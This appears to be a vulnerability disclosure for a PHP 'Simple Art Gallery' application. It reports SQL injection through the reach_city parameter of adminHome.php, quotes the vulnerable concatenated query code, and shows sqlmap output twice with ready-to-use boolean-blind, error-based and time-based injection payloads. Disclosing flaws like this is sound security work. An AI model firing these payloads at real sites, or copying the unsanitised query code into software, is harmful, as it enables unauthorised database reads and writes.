


SIMPLE ART GALLERY system

reach_city has Sql injection vulnerabilities

SIMPLE ART GALLERY system has Sql injection vulnerabilities. The vulnerability is located in the reach_city parameter of the adminHome.php file. The attacker can read and write arbitrarily to the database and obtain sensitive data without logging in the background.



```
Admin > adminHome.php
55 $query="update pages set page_desc='$pagedata' where page_id='$page_id'";
56 mysqli_query($link,$query) or die("Error updating data." . mysqli_error($link));
57 $about_msg="Update Successfully...";
58 }
59
60
61
62 //Update Reach us page
63 $reach_us_msg="";
64 if(isset($_POST['reach_info']))
65 {
66
67 $query="update reach_us set nm='".$_POST['reach_nm']. "', add1='".$_POST['reach_add1']. "', add2='".$_POST['reach_add2']. "', add3='".$_POST['reach_add3']. "'";
68 mysqli_query($link,$query) or die("Error updating data." . mysqli_error($link));
69 $reach_us_msg="Update Successfully...";
70 }
71
```

reach_city

```
//Update Reach us page
$reach_us_msg="";
if(isset($_POST['reach_info']))
{
    $query="update reach_us set nm='".$_POST['reach_nm']. "', add1='".$_POST['reach_add1']. "', add2='".$_POST['reach_add2']. "', add3='".$_POST['reach_add3']. "'";
    mysqli_query($link,$query) or die("Error updating data." . mysqli_error($link));
    $reach_us_msg="Update Successfully...";
}
```

```

[10:04:13] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: reach_city (POST)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: reach_nm=Marwadi Education Foundation&reach_add1=Rajkot-Morbi Highway&reach_add2=3137 Laguna Street&reach_c
ity=123123123' RLIKE (SELECT (CASE WHEN (6241=6241) THEN 123123123 ELSE 0x28 END))-- oCHU&reach_zip=363641&reach_state=G
ujarat&contact_no=8000898273&reach_info=

  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: reach_nm=Marwadi Education Foundation&reach_add1=Rajkot-Morbi Highway&reach_add2=3137 Laguna Street&reach_c
ity=123123123' AND GTID_SUBSET(CONCAT(0x71767a7a71,(SELECT (ELT(8125=8125,1))),0x716a766b71),8125)-- PcaT&reach_zip=3636
41&reach_state=Gujarat&contact_no=8000898273&reach_info=

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: reach_nm=Marwadi Education Foundation&reach_add1=Rajkot-Morbi Highway&reach_add2=3137 Laguna Street&reach_c
ity=123123123' AND (SELECT 4810 FROM (SELECT(SLEEP(5)))APbZ)-- ECCw&reach_zip=363641&reach_state=Gujarat&contact_no=8000
898273&reach_info=

```

Sqlmap Attack

```

sqlmap resumed the following injection point(s) from stored
session:
---
Parameter: reach_city (POST)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER
BY or GROUP BY clause
  Payload: reach_nm=Marwadi Education
Foundation&reach_add1=Rajkot-Morbi Highway&reach_add2=3137 Laguna
Street&reach_city=123123123' RLIKE (SELECT (CASE WHEN (6241=6241)
THEN 123123123 ELSE 0x28 END))--
oCHU&reach_zip=363641&reach_state=Gujarat&contact_no=8000898273&re
ach_info=

  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY
or GROUP BY clause (GTID_SUBSET)
  Payload: reach_nm=Marwadi Education
Foundation&reach_add1=Rajkot-Morbi Highway&reach_add2=3137 Laguna
Street&reach_city=123123123' AND GTID_SUBSET(CONCAT(0x71767a7a71,
(SELECT (ELT(8125=8125,1))),0x716a766b71),8125)--

```

PcaT&reach_zip=363641&reach_state=Gujarat&contact_no=8000898273&reach_info=

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: reach_nm=Marwadi Education

Foundation&reach_add1=Rajkot-Morbi Highway&reach_add2=3137 Laguna Street&reach_city=123123123' AND (SELECT 4810 FROM (SELECT(SLEEP(5)))APbZ)--

ECCw&reach_zip=363641&reach_state=Gujarat&contact_no=8000898273&reach_info=
